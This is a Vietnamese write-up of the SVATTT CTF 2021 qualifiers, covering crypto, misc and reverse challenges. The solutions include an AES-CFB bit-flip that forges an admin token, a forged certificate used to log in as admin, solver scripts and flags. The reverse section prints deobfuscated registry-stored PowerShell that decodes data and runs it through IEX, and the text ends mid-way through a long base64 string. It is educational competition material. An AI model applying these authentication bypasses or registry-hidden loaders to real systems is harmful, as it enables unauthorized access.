WRITE-UP SVATTT-CTF-2021-QUALS

Challenge type
* WEB
* MISC
* CRYPTO
* REVERSE

Crypto

NoOne

Screenshot_1

Link trên dẫn tới một trang đăng nhập, tiếp tục tạo thử một tài khoản và login. Screenshot_2 Screenshot_3 Screenshot_4

Trong About có để source và sau khi phân tích source mình sẽ rút ra được:

  • User được chia làm hai loại, user thường và admin, trong đó ROLE_ADMIN = 0; ROLE_USER = 1. Để lấy được flag, mình phải là admin (request tới /flag).
  • Ở login(), authtoken được tạo bằng AES_CFB[len(usernamebytes).to_bytes(2, "little") + usernamebytes + role.to_bytes(1, "little")]. Reference: Wikipedia - Cipher feedback (CFB).

Screenshot_5

  • Như vậy, chỉ cần flip role từ 1 thành 0 là mình sẽ trở thành admin.

Screenshot_6 Screenshot_7

Flag: ASCIS{z3r0_l0g0n_1s_H3re}


EasyOne

Screenshot_1

Cũng tương tự như bài NoOne, tác giả cho source của challenge nằm ở /about.

Screenshot_2 Screenshot_3 Screenshot_4

Một điểm lưu ý, trong source code có một func dùng để login bằng certificate (/logincert), khi login theo cách này mặc định sẽ có role là admin.

Screenshot_5 Screenshot_8

Quay ngược lại phân tích validate_certificate() và verify_certificate_chain(), như vậy mình cần phải tạo một X.509 certificate (.pem), với subject_cn == "admin"issuer_cn == "ca".

Screenshot_6 Screenshot_7

References:

sol.pem

-----BEGIN CERTIFICATE-----
MIIDyjCCArKgAwIBAgIUdsrsPaMxa2TR/iSRJSCjg1hfIJAwDQYJKoZIhvcNAQEL
BQAwVDELMAkGA1UEBhMCVk4xCzAJBgNVBAgMAlZOMQswCQYDVQQKDAJjYTELMAkG
A1UECwwCY2ExCzAJBgNVBAMMAmNhMREwDwYJKoZIhvcNAQkBFgJjYTAeFw0yMTEw
MTYwNzUwMzFaFw0yMjEwMTYwNzUwMzFaMG0xCzAJBgNVBAYTAlZOMQswCQYDVQQI
DAJWTjELMAkGA1UEBwwCVk4xDjAMBgNVBAoMBWFkbWluMQ4wDAYDVQQLDAVhZG1p
bjEOMAwGA1UEAwwFYWRtaW4xFDASBgkqhkiG9w0BCQEWBWFkbWluMIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw4bl8OUVKvhD5F+laZMF/7u9X0LS4Tb2
uSb5pSGkVmbYMNKzWZX7QLiPTF1OpGlzXLHKhxaVcTqrpkaqu3JqtylznKl6nFTA
KC6gBfLmNOmuPZ3X1+HYPdWgQN1H8mIRLrqu9KD9G5EEXEU+7UWmBgB9P9fczCGR
OfErffdmnqG0TDlD7Fk+oaWEHrGrMeOHBQcl5/Jso47nOqx2dPg8hXwW2I3gyeGD
DZRVZOk34wml8+awj6O+NdT/8Hs+YMNrVeGJbmhygZN9B34qH/C0IT7hIzImR2rc
4Nq5fVVwKxf3qOlW/eHhu6R0lqjTXmqtdMhh3BRkELcwr4V4iFc2mQIDAQABo3sw
eTAJBgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBD
ZXJ0aWZpY2F0ZTAdBgNVHQ4EFgQUOkN+wHxnnVkZmXJl9iTXPHUSsygwHwYDVR0j
BBgwFoAUHtyzAugem8DTqS2AhZFr/4AOOFQwDQYJKoZIhvcNAQELBQADggEBAH+5
hZoyjXa20weLwrH/sYY+PUC0nQYVtGuz20ihJQdh9t+4meKjCSlOlD8dmOA/1Tph
gZ/sNEzSkxvt5WBHI7cCgtIB0CcsWQCKKxKJ5NQIYTydymepE4z+dYgkrAliAcMv
4Is48U84YFxljbCmVYKC4PXK5E66aqtgMEMV9lopC07+ybOs5L9EPo36mlqgrmVX
0vo0g3H506tBDviJRRMJ8UVEQaFWJxh6PbHBYpEpGwQPJRLrVla1iL4FsCn9wCWn
cv9uIOrhuHjof3lplMM0m9Jiv+cFPvYR+MWpWSfKyJVHqPoU5+J9+xeIIYrkzFzM
sSenSnMvDt6dPFj6Vl8=
-----END CERTIFICATE-----

Login bằng certificate thành công, vào lấy flag và submit thôi.

Screenshot_9 Screenshot_10

Flag: ASCIS{c3rt_val1dat1on_s1mpl3}

Misc

PNG

Bước 1. Sử dụng pngcheck kiểm tra ảnh và biết ảnh đang bị lỗi các byte CRC

vcs.png  CRC error in chunk IHDR (computed 3d4d4a61, expected b018483d)
ERROR: vcs.png

Dùng trình chỉnh mã hex bất kì, chỉnh lại giá trị CRC 3d4d4a61 thành b018483d.

Bước 2. Cờ được giấu ở phía cuối ảnh, có thể sử dụng fotoforensic để xem các hidden pixel và lấy được cờ.

Ngoài ra giải thích thêm hidden pixel có là vì chiều cao ảnh bị chỉnh khác lại so với ảnh gốc, làm mất đi phần nội dung cuối góc ảnh. Bạn có thể tham khảo PNG (Portable Network Graphics) Specification tính toán vị trí hex code của chiều cao và chiều rộng và thay đổi trực tiếp.

travel paper

image

Sau khi kết nối nc thì nhận được QR code được vẽ ra bằng các kí tự đặc biệt trên console như sau: image

Sau khi thử decode QR code này bằng cơm thì thu được kết quả có dạng như sau: 682584872|Nguyen Tuan Thanh|14/11/2021. Ta dễ dàng có thể đoán được dữ liệu tương ứng là:

  • ID Number: 682584872
  • Full Name: Nguyen Tuan Thanh
  • Expired Date: 14/11/2021

Sau khi mình submit thông tin lên thì tiếp tục nhận được 1 QR code khác…. hmmm vậy là mình quyết định sẽ code 1 script tự động nhận dữ liệu, decode QR code và gửi thông tin decode được lên server.

Ý tưởng của mình là sẽ phải convert được dạng QR code bằng kí tự đặc biệt kia về các pixel tương ứng với 0 và 1, sau đó sử dụng thư viện QR code decode để lấy data và gửi lên server.

Sau khi mở các kí tự đặc biệt tạo QR code bằng sublime text mình nhận ra có 3 loại kí tự đặc biệt: █ ▄ ▀ Mình nhận thấy mỗi kí tự này sẽ chiếm 2 dòng pixel (nếu coi QR code là 1 hình). Công việc bây giờ đơn giản là sẽ map 3 kí tự này tương ứng với data trong matrix như sau:

█ => 1 1

▄ => 0 1

▀ => 1 0

Sau khi tạo ra được matrix pixel để tạo hình tương ứng thì mình vẫn chưa decode bằng thư viện pyzbar được nên mình đã thử resize hình lên 300x300 và đã decode được, cuối cùng là viết script tự động như dưới đây:

from pwn import *
from PIL import Image
import numpy as np
from pyzbar import pyzbar

r = remote('125.235.240.166', 20123)
for round_index in range(1, 101):
    print(r.recvuntil(f'Person #{round_index}:\n'))
    qr_content = r.recvuntil('ID Number: ').strip(b'\nID Number: ')
    print(qr_content.decode())
    qr_content = qr_content.replace(bytes(qr_content[:2]), b' ')

    list_line = qr_content.split(b'\n')
    list_line = list_line[2:-2]

    matrix = []
    index = 0
    for line in list_line:
        line = line[4:-4].replace(b' ', b'\x00\x00\x00')
        matrix.append([0] * (len(line) // 3))
        matrix.append([0] * (len(line) // 3))
        for i in range((len(line) // 3)):
            if line[3*i:3*i+3] == b'\x00\x00\x00':
                matrix[index][i] = 0
                matrix[index+1][i] = 0
            elif line[3*i:3*i+3] == b'\xe2\x96\x88':
                matrix[index][i] = 1
                matrix[index+1][i] = 1
            elif line[3*i:3*i+3] == b'\xe2\x96\x80':
                matrix[index][i] = 1
                matrix[index+1][i] = 0
            elif line[3*i:3*i+3] == b'\xe2\x96\x84':
                matrix[index][i] = 0
                matrix[index+1][i] = 1
            else:
                matrix[index][i] = -1
                matrix[index+1][i] = -1
            
        index += 2

    pixels = []
    for i in range(len(matrix)):
        line = matrix[i]
        pixels.append([0] * len(line))
        for j in range(len(line)):
            data = line[j]
            if data == 0:
                pixels[i][j] = (255, 255, 255)
            else:
                pixels[i][j] = (0, 0, 0)
    # print(pixels)

    # Convert the pixels into an array using numpy
    array = np.array(pixels, dtype=np.uint8)
    # Use PIL to create an image from the new array of pixels
    new_image = Image.fromarray(array)
    new_image = new_image.resize((300,300))
    # new_image.save('new.png')

    # print(image)
    barcodes = pyzbar.decode(new_image)
    for barcode in barcodes:
        qrcode_data = barcode.data
        r.sendline(qrcode_data.split(b'|')[0].strip())
        print(r.recvuntil('Full Name:'))
        r.sendline(qrcode_data.split(b'|')[1].strip())
        print(r.recvuntil('Expired Date:'))
        r.sendline(qrcode_data.split(b'|')[2].strip())
        print(r.recvuntil('Correct!\n'))
        break
r.interactive()

Flag: ASCIS{c0r0n4_v1rus_1s_g0n3}

Sherlock Homes

Nhận được tệp có phần mở rộng tập tin là VHDX.

image

Phần mở rộng của tệp tin là VHDX là định dạng tệp ảnh đĩa được xem như là một ổ cứng thực,vật lý nhưng được lưu trữ trong một tệp duy nhất nằm trên một đĩa vật lý giống như một ổ đĩa cứng.

Có một số cách để phân tích tệp này như sử dụng autopsy hoặc mount trực tiếp ổ này vào máy tính rồi dùng cách cú pháp dòng lệnh để phân tích. Mình sẽ gợi ý theo cách mount trực tiếp, sau khi làm theo hướng dẫn trong đường dẫn đính kèm thì giờ có thể trực tiếp truy xuất các dữ liệu trong ổ đĩa.

Thông thường thì bước đầu cứ grep -rn "flag" hoặc grep -rn "ascis{" xem thử có gì liên quan không.

image

Trường hợp không có thì hãy thử truy vết các tệp được tạo, chỉnh sửa gần đây bằng lệnh find .

Với lệnh trên thì tìm ra vài thông tin khả nghi như

C:\Users\John\AppData\Roaming\Microsoft\Windows\Recent\flag.lnk
D:\Setup\Log\C\Users\John\AppData\Roaming\Microsoft\Windows\Recent\flag.lnk
C/Users/John/AppData/Local/ConnectedDevicesPlatform/L.John/ActivitiesCache.db

Đọc tệp C/Users/John/AppData/Local/ConnectedDevicesPlatform/L.John/ActivitiesCache.db thì có các nội dung như sau:

image

Có chứa ASCIS{NTF$_!S_G00D} đúng với định dạng của cờ, sau khi submit thì nhận được thông báo cờ sai. Có trao đổi với phía BTC thì nhận được thông tin là cờ giả. Tiếp tục đào các dữ kiện khác.

Sử dụng lnkinfo xem thông tin tệp này lnk.

image

Xác định đường tệp gốc flag nằm ở đường dẫn D:\Work\CONFIDENTAL\ProjectX\2021\SECRET\flag.txt. Nhưng vấn là ổ đĩa D không có trông tệp đĩa hình ảnh ban đầu. Vì trong cờ giả có từ khóa NTFS nên mình nghĩ có thể sử dụng mtfparse để xem các giá trị offset của tệp flag.txt trên RAM, làm các phép tính toán với ntfs-partition-boot-sector rồi trace trực tiếp nhưng có vẻ không khả thi.

Mình có lục lọi các tệp khác trên hệ thống, mong rằng sẽ tìm được gì khác như bản backup nào đó. Đã xem qua các log internet, user.dat, nhưng không tìm thấy gì khả nghi. Nhưng suýt quên mất rằng chúng ta có ổ C, là ổ chứa các tệp nhật kí hệ thống, trong đó có cả event log. Cho dù không có ổ D, nhưng ta vẫn có thể truy vết được các thao tác của tác giả trên hệ thống trước khi thực hiện ghi lại hình ảnh ổ đĩa. Và mong rằng nó có chứa cờ!

Tìm hiểu thì %SystemRoot%\System32\Winevt\Logs sẽ là nơi chứa các tệp lưu lại các nhật kí thao các của người dùng với các ứng dụng, hệ điều hành,…. Dễ hình dung hơn thì nó là các tệp log trên event viewer hay coi. Và có lẽ các thao tác của tác giả khi tương tác với tệp flag.txt cũng nằm trên này. Việc bây giờ là cần xem qua các tệp này, vì cờ có thể ở bất kì bản nhật kí người dùng nào.

image

Mất khá nhiều thời gian để tìm đến được tệp Microsoft-Windows-Sysmon%4Operational.evtx, tệp này là bản ghi lưu lại nhật kí các thao tác dịch vụ hệ thống windows và trình điều khiển thiết bị, sau khi được cài đặt trên hệ thống.

Sử dụng event viewer trên windows hoặc filext.com/file-extension/EVTX để xem online.

Khuyến mãi: https://www.sans.org/blog/parsing-sysmon-events-for-ir-indicators/

image

image

Reverse

FSM

Binary: fsm_B6CB40CE8F1E1C0B71B376A259F42C8F.exe (PE x64)

Yêu cầu thử thách này là cần nhập 3 giá trị hex theo đúng định dạng để làm key. Các giá trị vừa nhập đó sẽ được đưa vào 1 loạt thuật toán xor để tạo ra 2 giá trị cuối cùng tạm gọi ở đây là checksum1checksum2.

1

Tiếp tục chương trình tạo thread để kiểm tra 2 giá trị checksum1checksum2.
2

Tại luồng xử lý của thread kiểm tra 3 điều kiện.
3

Vậy thì có 3 điều kiện cho ba giá trị cần tìm. Dùng z3solver để giải bài này:

from z3 import *

s = Solver()
part1 = BitVec('part1', 32)
part2 = BitVec('part2', 32)
part3 = BitVec('part3', 32)


s.add(1620 * part2 + 5447 * part3 + 17170 * part1 == 0x52D012C ^ 0x2ED0F8B0)
s.add(9543 * part3 + 19218 * part1 + 27870 * part2 == 0x323030B5 ^ 0x63987AEB)
s.add(7287 * part3 + 11210 * part1 + 24874 * part2 == 0x8A0B76BC ^ 0xB6DDCFF6)

print(s.check())
m = s.model()
flag = []
md = sorted([(d, m[d]) for d in m], key = lambda x: str(x[0]))
for i in md:
  flag.append(i[1].as_long())

for i in flag:
  print(hex(i)[2:],end = '-')

Kết quả nhận được key và flag như sau:

key : 4ab6-2c6d-11894
Flag: ASCIS{I Know Kung-Fu!}

Flag: ASCIS{I Know Kung-Fu!}

Trace me

Binary: buf.so (ELF x86)

Thực thi chương trình nhận được yêu cầu nhập mật khẩu. Sau đó, hiển thị thông báo như sau:
4

Phân tích code bài này với IDA tại hàm main. Nhận thấy đoạn code kiểm tra chuỗi nhập vào.

5

Đi thử thực thi chương trình với chuỗi này và kết quả thất bại.

6

Với tên bài là trace me và luồng thực thi như này thì khả năng tác giả giấu đoạn code chính ở hàm init và sử dụng kỹ thuật ptrace giao tiếp giữa 2 tiến trình. Một thử thách tương tự ở giải flareon7 (chall 10) cũng có ý tưởng tương tự.

Đúng như dự đoán hàm init gọi đến nơi tạo và giao tiếp với tiến trình con để thay đổi data. 7

8

Debug thì phát hiện được hàm sub_14C6 sẽ đọc data tại các địa chỉ trong hàm sub_1B7E của tiến trình con và decode bằng thuật toán xor.

9

Hàm sub_1B7E sử dụng thuật toán RC4 để mã hóa chuỗi nhập vào và so sánh với cipher. Key trong hàm này sẽ được tiến trình cha decode rồi tiến trình con bắt đầu dùng key đó decrypt.

10

Sau khi Xor ta có được key như sau:

11

Decrypt:

cipher = b"\xa9\xa5\xe4\x0e{\xb1Q;'\x01\xc6\xa0C\xb3\x0c\xbe\xa5%\xaa\xf7\x95\xbb6\xc4\xe8\x1e\x1c\xd5SV\xd3\xcaF\x9a\xb8$\xbd\x00"
key = 'ASCIS2021'

12

ghost reg

image

Sau khi phân tích 3 file HKCR.reg, HKCU.reg, HKCM.reg thì tìm được 2 đoạn có vẻ thú vị

image

Sử dụng công cụ deobshell (https://github.com/thewhiteninja/deobshell) kết hợp với deobfuscate bằng “cơm” thì cuối cùng thu được 2 đoạn mã powershell như sau:

part1:

if(($abcd -split ' ')[-1] -eq "$env:appdata\flag.svattt" -and (Get-FileHash ($abcd -split ' ')[-1] -Algorithm MD5).hash -eq "CF5A6ED30AE66ECF61C1286516F8A943" -and (gc $env:appdata\plmjuh)[-1..-5] -join "" -eq "SCISA"){
    $11 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\svattt\shell\open\command" -name "aocnsit")."aocnsit";
    $111 = [System.Convert]::FromBase64String($11);
    $1111 = gc ($abcd -split ' ')[-1] -encoding byte; 
    $11111 = New-Object Byte[] $111.count;
    for($i=0; $i -lt $111.count ; $i++) { 
        $11111[$i] = $111[$i] -bxor $1111[$i];
    }
    sc ($abcd -split ' ')[-1] -value $11111 -encoding byte;
};
$abcd | IEX;

part2:

$abcd.split(' ')[-1].split('.')[-1]

if(test-path $env:appdata\plmjuh -PathType Leaf) {
    $1 = (gc $env:appdata\plmjuh)[-1..-5]
}else{
    ni -path $env:appdata\plmjuh -ItemType "file"
}
$11 = $abcd.split(' ')[-1].split('.')[-1]
ac $env:appdata\plmjuh -value $11

if(-not (test-path "$env:appdata\flag.svattt" -PathType Leaf)) {
    ni -path "$env:appdata\flag.svattt" -ItemType "file"
}

if($11 -eq "a"){
    $111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "jRSgo")."jRSgo";
    ac $env:appdata\flag.svattt -value ([System.Convert]::FromBase64String($111)) -encoding byte;
}else{
    switch ($1[0]){
        "a"{
            $111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "WycrJ")."WycrJ";   
        }
        "s"{
            $111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "2NoQX")."2NoQX";
        }
        "i"{
            $111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "JdMTE")."JdMTE";
        }
        "c"{
            $111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "1K1tj")."1K1tj";
        }
    }
    ac $env:appdata\flag.svattt -value ([System.Convert]::FromBase64String($111)) -encoding byte;
}

$1111 = "Hey $((gc $env:appdata\plmjuh)[-5..-1]), can you find me?"

$11111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "aEFyX")."aEFyX"

sc $abcd.split(' ')[-1] -value ([System.Convert]::FromBase64String($11111)) -encoding Byte

ac $abcd.split(' ')[-1] -value "Hey $((gc $env:appdata\plmjuh)[-5..-1] -join ''), can you find me?"

$abcd | IEX

Tiếp tục debug 2 đoạn powershell này bằng công cụ Powershell Tools for Visual Studio

image

Để ý kĩ thì đoạn powershell này sẽ kiểm tra điều kiện và switch case để quyết định lấy dữ liệu từ registry nào để Base64 decode và cuối cùng là append vào file flag.svattt.

if($11 -eq "a"){
    $111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "jRSgo")."jRSgo";
    ac $env:appdata\flag.svattt -value ([System.Convert]::FromBase64String($111)) -encoding byte;
}else{
    switch ($1[0]){
        "a"{
            $111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "WycrJ")."WycrJ";   
        }
        "s"{
            $111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "2NoQX")."2NoQX";
        }
        "i"{
            $111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "JdMTE")."JdMTE";
        }
        "c"{
            $111 = (Get-ItemProperty -path "Registry::HKEY_CLASSES_ROOT\uytrsavnsal" -name "1K1tj")."1K1tj";
        }
    }
    ac $env:appdata\flag.svattt -value ([System.Convert]::FromBase64String($111)) -encoding byte;
}

Lại để ý ở part1, md5 của file flag.svattt phải trùng với CF5A6ED30AE66ECF61C1286516F8A943. Vì mình không biết được thứ tự append các content vào file flag.svattt nên mình quyết định sẽ viết 1 script để brute thứ tự.

from hashlib import md5
from base64 import b64decode
from itertools import permutations

list_content = []
list_content.append("ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnNhYWFuWVlUWW5hYWFjLiAgICAgICAgICAgI...")
list_content.append("/9j/4AAQSkZJRgABAQEA8ADwAAD/4SdARXhpZgAATU0AKgAAAAgACwEPAAIAAAAGAAAAkgEQAAIAA...")
list_content.append("/wCsl2455FOfS7QSljNJ6jGOKxWsJsj93J82Tgg06SwujJt8uYbuOlP2f98j2lTsjXFhZqzDzpcYz...")
list_content.append("3b/s/wCc1Yg+IOq7l/0peByAOnf8aJSxn938SKccJLVwl96/yLsnhG+i8GeIt1vIudHvV6DGTbyD/...")
list_content.append("VsPRpVn70U7+rtq10elvRI/lXMMuwFHG1K+Eu76eStKWkXu1y8rb7trpo6RAVCGSM56fN7VH5beXy...")
list_content.append("r9Yv+C1Xh7zvD/w/1FV/1dzdWpbHTdGGH/oNfkN+014TvW8bx3GnX09rewyl7ZI3Mm8tsLlv7q7ZP...")

for contents in permutations(list_content, 5):
    temp = ''
    for content in contents:
        temp += b64decode(content)
    if md5(temp).hexdigest().upper()== 'CF5A6ED30AE66ECF61C1286516F8A943':
        open('flag.svattt', 'wb').write(temp)
        print 'found'
        break

part1, sau khi thỏa mấy điều kiện ở trên sẽ đọc giá trị của aocnsit trong registry sau đó thực hiện vòng lặp để xor với file flag.svattt.

from base64 import b64decode

b = open('flag.svattt', 'rb').read()
a = b64decode("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA